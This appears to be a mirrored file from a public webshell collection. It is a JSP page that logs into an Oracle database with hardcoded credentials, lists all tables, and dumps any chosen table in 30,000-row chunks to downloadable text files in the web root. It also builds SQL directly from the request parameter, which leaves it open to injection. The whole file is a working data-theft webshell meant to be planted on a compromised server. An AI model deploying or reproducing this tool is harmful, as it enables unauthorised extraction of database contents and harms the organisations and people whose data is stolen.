mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
321 lines
8.4 KiB
Text
321 lines
8.4 KiB
Text
<%@ page language="java" import="java.util.*" pageEncoding="GBK"%>
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<%@ page import="oracle.jdbc.*"%>
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<%@ page import="java.sql.*" %>
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<%@ page contentType="text/html; charset=GBK" %>
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<%@ page import="java.io.*" %>
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<%
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String path = request.getContextPath();
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String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";
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%>
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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
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<html>
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<head>
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<base href="<%=basePath%>">
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<title>XXOO</title>
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<meta http-equiv="pragma" content="no-cache">
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<meta http-equiv="cache-control" content="no-cache">
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<meta http-equiv="expires" content="0">
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<meta http-equiv="keywords" content="keyword1,keyword2,keyword3">
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<meta http-equiv="description" content="This is my page">
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<!--
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<link rel="stylesheet" type="text/css" href="styles.css" mce_href="styles.css">
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-->
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</head>
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<body>
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<%
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String url = "http://" + request.getServerName() + ":" + request.getServerPort() + request.getContextPath()+request.getServletPath();
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Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
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ResultSet rs=null;
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ResultSet rs_column=null;
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ResultSet rs_dump=null;
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String oraUrl="jdbc:oracle:thin:@192.168.1.81:1521:db";
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String oraUser="username";
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String oraPWD="password";
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int size=30000;
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try
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{
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DriverManager.registerDriver(new oracle.jdbc.driver.OracleDriver());
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}
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catch (SQLException e){
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out.print("filed!!");
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}
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try
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{
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Connection conn=DriverManager.getConnection(oraUrl,oraUser,oraPWD);
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conn.setAutoCommit(false);
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if (request.getParameter("table") == null || request.getParameter("table").equals(""))
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{
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out.print("xixi...<br>");
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Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
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rs=stmt.executeQuery("select table_name from all_tables");
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while(rs.next())
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{
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out.print("<a href=");out.print(url);out.print("?table=");out.print(rs.getString(1));
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out.print(" target=_blank>");out.print(rs.getString(1));out.print("</a><br>");
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}
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rs.close();
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stmt.close();
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}
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else
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{
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out.print("Current table : "+request.getParameter("table"));
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String sql_count="select count(*) from all_tab_columns where Table_Name='"+request.getParameter("table")+"'";
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String sql_column="select * from all_tab_columns where Table_Name='"+request.getParameter("table")+"'";
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String sql_columns_count="select count(*) from "+request.getParameter("table");
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//String sql_dump="select rownom ro,* from T_SYS_USER";
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Statement stmt_count=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
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Statement stmt_column=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
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Statement stmt_columns_count=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
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rs=stmt_count.executeQuery(sql_count);
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rs_column=stmt_column.executeQuery(sql_column);
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ResultSet rs_columns_count=null;
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rs_columns_count=stmt_columns_count.executeQuery(sql_columns_count);
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conn.commit();
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int count=0;
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while(rs.next())
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{
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count=Integer.parseInt(rs.getString(1));
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//out.print(count);
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}
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int columns_count=0;
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while(rs_columns_count.next()) // Total number of records
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{
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columns_count=Integer.parseInt(rs_columns_count.getString(1));
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out.print("<br>The number of records : "+columns_count+"<br>");
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}
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//out.print(columns_count);
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int column_num=1;
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//out.print("<table border='1'>");out.print("<tr>");
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String sql_dump="select * from (select rownum ro "; //SELECT
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while(rs_column.next())
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{
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//out.print(rs_column.getString(3));out.print("\r");
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sql_dump+=",";
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sql_dump+=rs_column.getString(3);
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column_num+=1;
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}
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rs_column.close();
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rs.close(); //close
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stmt_count.close();
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stmt_column.close();
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sql_dump+=" from "+request.getParameter("table")+" where rownum<=";
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int mark=0;
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mark=columns_count;
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out.print("<br><br><br>Please download:<br>");
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while(true)
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{
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if(mark<=size) //one txt count
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{ mark=0; }
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else
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{ mark=mark-size; }
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String dump=sql_dump+columns_count+") where ro>="+mark;
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columns_count-=size;
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Statement stmt_dump=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
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rs_dump= stmt_dump.executeQuery(dump);
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conn.commit();
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String filename = request.getRealPath(request.getParameter("table")+"-"+mark+".txt");
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java.io.File f = new java.io.File(filename);
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if(!f.exists())
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{ f.createNewFile(); }
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try
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{
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PrintWriter pw = new PrintWriter(new FileOutputStream(filename));
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while(rs_dump.next())
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{
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column_num=1;
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while(column_num<=count)
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{
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pw.print(rs_dump.getString(column_num));
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pw.print(",");
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column_num+=1;
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}
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pw.println("");
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}
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pw.close();
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}
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catch(IOException e) {
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out.println(e.getMessage());
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}
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out.println("<br><a href=./"+request.getParameter("table")+"-"+mark+".txt>"+request.getParameter("table")+"-"+mark+".txt</a><br>");
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if(mark==0)
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{
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rs_dump.close();
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stmt_dump.close();
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break;
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}
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}
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}
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conn.close();
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} catch (SQLException e)
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{
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System.out.println(e.toString());
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out.print(e.toString());
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}
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%>
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</body>
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</html>
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